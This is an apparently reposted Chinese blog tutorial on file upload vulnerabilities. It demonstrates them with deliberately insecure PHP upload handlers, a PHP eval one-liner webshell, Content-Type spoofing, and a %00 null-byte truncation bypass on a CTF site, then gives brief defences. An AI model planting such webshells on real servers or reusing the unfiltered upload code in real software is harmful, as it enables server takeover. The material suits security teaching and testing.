天天看点

文件上传漏洞原理与实例测试

为了让用户将文件上传到网站,就像是给危机服务器的恶意用户打开了另一扇门。即便如此,在今天的现代互联网的Web应用程序,它是一种常见的要求,因为它有助于提高业务效率。企业支持门户,给用户各企业员工有效地共享文件。允许用户上传图片,视频,头像和许多其他类型的文件。向用户提供的功能越多,Web应用受到攻击的风险和机会就越大,这种功能会被恶意用户利用,获得到一个特定网站的权限,或危及服务器的可能性是非常高的。

0x01 为什么文件上传存在漏洞

上传文件的时候,如果服务器脚本语言,未对上传的文件进行严格的验证和过滤,就容易造成上传任意文件,包括上传脚本文件。

如果是正常的PHP文件,对服务器则没有任何危害。

PHP可以像其他的编程语言一样,可以查看目录下的文件,查看文件中的吗内容,可以执行系统命令等。

上传文件的时候,如果服务器端脚本语言,未对上传的文件进行严格的验证和过滤,就有可能上传恶意的PHP文件,从而控制整个网站,甚至是服务器。这个恶意的PHP文件,又被称为WebShell。

0x02 哪里存在文件上传漏洞

服务器配置不当

开源编辑器的上传漏洞

本地文件上传限制被绕过

过滤不严或被绕过

文件解析漏洞导致文件执行

文件路径截断

0x03 文件上传实例(本地测试)

裸体的文件上传

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

<code>&lt;!DOCTYPE html&gt;</code>

<code>&lt;html&gt;</code>

<code>&lt;head&gt;</code>

<code>    </code><code>&lt;title&gt;文件信息&lt;/title&gt;</code>

<code>&lt;/head&gt;</code>

<code>&lt;meta charset=</code><code>"utf-8"</code><code>&gt;</code>

<code>&lt;body&gt;</code>

<code>&lt;form action=</code><code>""</code> <code>enctype=</code><code>"multipart/form-data"</code> <code>method=</code><code>"POST"</code> <code>name=</code><code>"uploadfile"</code><code>&gt;</code>

<code>    </code><code>上传文件: &lt;input type=</code><code>"file"</code> <code>name=</code><code>"upfile"</code> <code>/&gt;</code>

<code>    </code><code>&lt;input type=</code><code>"submit"</code> <code>value=</code><code>"上传"</code> <code>name=</code><code>"submit"</code><code>&gt;</code>

<code>&lt;/form&gt;</code>

<code>&lt;/body&gt;</code>

<code>&lt;/html&gt;</code>

<code>&lt;!-- 完全没有过滤,任意文件上传 --&gt;</code>

<code>&lt;?php</code>

<code>if</code> <code>(isset(</code><code>$_POST</code><code>[</code><code>'submit'</code><code>])) {</code>

<code>    </code><code>var_dump(</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>]);</code>

<code>    </code><code>echo</code> <code>"文件名:"</code><code>.</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'name'</code><code>].</code><code>"&lt;br /&gt;"</code><code>;</code>

<code>    </code><code>echo</code> <code>"文件大小:"</code><code>.</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'size'</code><code>].</code><code>"&lt;br /&gt;"</code><code>;</code>

<code>    </code><code>echo</code> <code>"文件类型:"</code><code>.</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'type'</code><code>].</code><code>"&lt;br /&gt;"</code><code>;</code>

<code>    </code><code>echo</code> <code>"临时路径:"</code><code>.</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'tmp_name'</code><code>].</code><code>"&lt;br /&gt;"</code><code>;</code>

<code>    </code><code>echo</code> <code>"上传后系统返回值:"</code><code>.</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'error'</code><code>].</code><code>"&lt;br /&gt;"</code><code>;</code>

<code>    </code><code>echo</code> <code>"====================保存分各线========================&lt;br /&gt;"</code><code>;</code>

<code>    </code><code>if</code> <code>(</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'error'</code><code>] == 0) {</code>

<code>        </code><code>if</code> <code>(!</code><code>is_dir</code><code>(</code><code>"./upload"</code><code>)) {</code>

<code>            </code><code>mkdir</code><code>(</code><code>"./upload"</code><code>);</code>

<code>        </code><code>}</code>

<code>        </code><code>$dir</code> <code>= </code><code>"./upload/"</code><code>.</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'name'</code><code>];</code>

<code>        </code><code>move_uploaded_file(</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'tmp_name'</code><code>],</code><code>$dir</code><code>);</code>

<code>        </code><code>echo</code> <code>"文件保存路径:"</code><code>.</code><code>$dir</code><code>.</code><code>"&lt;br /&gt;"</code><code>;</code>

<code>        </code><code>echo</code> <code>"上传成功...&lt;br /&gt;"</code><code>;</code>

<code>        </code><code>echo</code> <code>"图片预览:&lt;br /&gt;"</code><code>;</code>

<code>        </code><code>echo</code> <code>"&lt;img src="</code><code>.</code><code>$dir</code><code>.</code><code>"&gt;"</code><code>;</code>

<code>    </code><code>}</code>

<code>}</code>

<code> </code><code>?&gt;</code>

<a href="http://s5.51cto.com/wyfs02/M01/84/75/wKioL1eQ76Sxy2zxAARTCLGSSbw832.png-wh_500x0-wm_3-wmp_4-s_1928545613.png" target="_blank"></a>

设置本地代理用Burp Suite 抓包,通过对比我们可以看到,PHP中的&lt;文件名&gt;和&lt;文件类型&gt;分别对应数据包中&lt;filename&gt;和&lt;Content-Type&gt;。

穿上下内衣的文件上传

37

38

39

40

41

42

43

44

45

<code>&lt;!-- 按文件类型过滤 --&gt;</code>

<code>    </code><code>$flag</code> <code>= 0;</code>

<code>    </code><code>switch</code> <code>(</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'type'</code><code>]) {</code>

<code>        </code><code>case</code> <code>'image/jpeg'</code><code>:</code>

<code>            </code><code>$flag</code> <code>= 1;</code>

<code>            </code><code>break</code><code>;</code>

<code>        </code><code>default</code><code>:</code>

<code>            </code><code>die</code><code>(</code><code>"文件类型错误....."</code><code>);</code>

<code>    </code><code>if</code> <code>(</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'error'</code><code>] == 0 &amp;&amp; </code><code>$flag</code> <code>) {</code>

<code>    </code><code>$dir</code> <code>= </code><code>"./upload/"</code><code>.</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'name'</code><code>];</code>

<code>    </code><code>move_uploaded_file(</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'tmp_name'</code><code>],</code><code>$dir</code><code>);</code>

<code>    </code><code>echo</code> <code>"文件保存路径:"</code><code>.</code><code>$dir</code><code>.</code><code>"&lt;br /&gt;"</code><code>;</code>

在这段代码里,我们通过 &lt;$_FILES['upfile']['type']&gt; 来检测文件上传的类型,通过第一个图里的对比我们知道Http数据包请求头里的&lt;Content-Type &gt;对应的是上传文件的类型,那么我们是不是可以通过修改数据包的内容来实验绕过.ok,现在我们上传一个PHP一句话木马。

<code>@</code><code>eval</code><code>(</code><code>$_POST</code><code>[</code><code>'xxx'</code><code>]);</code>

<code>echo</code> <code>"dahuiji...."</code><code>;</code>

<a href="http://s4.51cto.com/wyfs02/M02/84/75/wKiom1eQ8A-heWV_AAN7oia3xR0984.png-wh_500x0-wm_3-wmp_4-s_1792065708.png" target="_blank"></a>

看返回的页面我们知道我们成功绕过了对文件类型的检测,并且菜刀连接成功

穿上上内衣的文件上传(一个十六进制的&lt;00&gt;截断的ctf)

<code>url:http://ctf4.shiyanbar.com/web/upload/</code>

<a href="http://s2.51cto.com/wyfs02/M00/84/75/wKiom1eQ8FTiYY4vAAKvHgT5rdc341.png-wh_500x0-wm_3-wmp_4-s_2877217126.png" target="_blank"></a>

首先我们对抓取的数据包做出以上修改

<a href="http://s3.51cto.com/wyfs02/M00/84/75/wKioL1eQ8HDSTJYvAAMqvXprP68080.png-wh_500x0-wm_3-wmp_4-s_1450382984.png" target="_blank"></a>

通过16进制我们知道 &lt;.&gt;的16进制是&lt;2e&gt;在&lt;2e&gt;出插入一个字节,右键菜单里有&lt;insert byte&gt;插入。

<a href="http://s1.51cto.com/wyfs02/M01/84/75/wKiom1eQ8JOSXUmnAAI3-KDfuXc717.png-wh_500x0-wm_3-wmp_4-s_3187912989.png" target="_blank"></a>

ok,现在我们成功获取了flag。

现在我们说下这个实验的实现原理:

<code>1.为什么在文件后面加上&lt;.jpg&gt;和在数据包&lt;</code><code>uploads</code><code>/&gt;后面加上修改后的文件名?</code>

<code>     </code><code>PHP在对文件后缀进行判断时是对最后一个 &lt;.xxx&gt; 来判断的。这样我们修改过后的文件</code>

<code>  </code><code>名,PHP会将其判断为.jpg文件这样我们可以绕过对文件名的检测。</code>

<code>  </code> 

<code>2.为什么我们对文件名修改过后还需要添加%00截断?</code>

<code>    </code><code>尽管我们知道我们上传的是一个PHP文件,但是如果不进行%00截断,我们上传的文件在服务</code>

<code>  </code><code>器上是以&lt;</code><code>xxx.php.jpg</code><code>&gt;格式保存也就是说这是一个图片文件,PHP是不会解析这个文件。</code>

<code>  </code><code>当我们进行%00截断后,服务器就会将%00后的&lt;.jpg&gt;进行截断,这是我们的的文件将以&lt;</code><code>xxx.php</code><code>&gt;</code>

<code>  </code><code>的形式保存在服务器上,我们的一句话木马也就成功的时上传成功了。</code>

穿上外套的文件上传

<code>    </code><code>$path_parts</code> <code>= </code><code>pathinfo</code><code>(</code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'name'</code><code>]);</code>

<code>    </code><code>echo</code> <code>'---&lt;br&gt;'</code><code>;</code>

<code>    </code><code>var_dump(</code><code>$path_parts</code><code>);    </code><code>//返回文件路径信息</code>

<code>    </code><code>if</code> <code>(</code><code>$path_parts</code><code>[</code><code>'extension'</code><code>] == </code><code>'jpg'</code> <code>&amp;&amp; </code><code>$_FILES</code><code>[</code><code>'upfile'</code><code>][</code><code>'type'</code><code>] == </code><code>'image/jpeg'</code><code>) {</code>

<code>        </code><code>$flag</code> <code>= 1;</code>

<code>    </code><code>}</code><code>else</code><code>{</code>

<code>        </code><code>die</code><code>(</code><code>"文件类型错误...."</code><code>);</code>

上传一张正常的图片。

<a href="http://s5.51cto.com/wyfs02/M01/84/75/wKioL1eQ8Yjz_KUcAAF_fGZhspg079.png-wh_500x0-wm_3-wmp_4-s_161590072.png" target="_blank"></a>

上传一句话木马进行绕过检测

<a href="http://s2.51cto.com/wyfs02/M02/84/76/wKiom1eQ8a_wyICPAAK-fyWsCeQ590.png-wh_500x0-wm_3-wmp_4-s_640744346.png" target="_blank"></a>

<code>为什么这次不能进行绕过?</code>

<code>     </code><code>我们对文件名进行截断后,当数据包到Apache的时候,Apache会对截断处理这时截断的文件</code>

<code>     </code><code>名变为&lt;</code><code>xxx.php</code><code>&gt;当PHP判断时会发现文件的后缀为&lt;</code><code>php</code><code>&gt;,然后我们就上传失败了....</code>

<code> </code><code>(以上只是我对上传失败的一点理解,欢迎指正。</code>

<code>  </code><code>欢迎技术讨论,可以将上述方法绕过的同学欢迎指教。</code>

<code>  </code><code>致谢...)</code>

0x04 上传漏洞的防御

对面文件后缀进行检测

对文件类型进行检测

对文件内容进行检测

设置上传白名单

本文转自 nw01f 51CTO博客,原文链接:http://blog.51cto.com/dearch/1828635,如需转载请自行联系原作者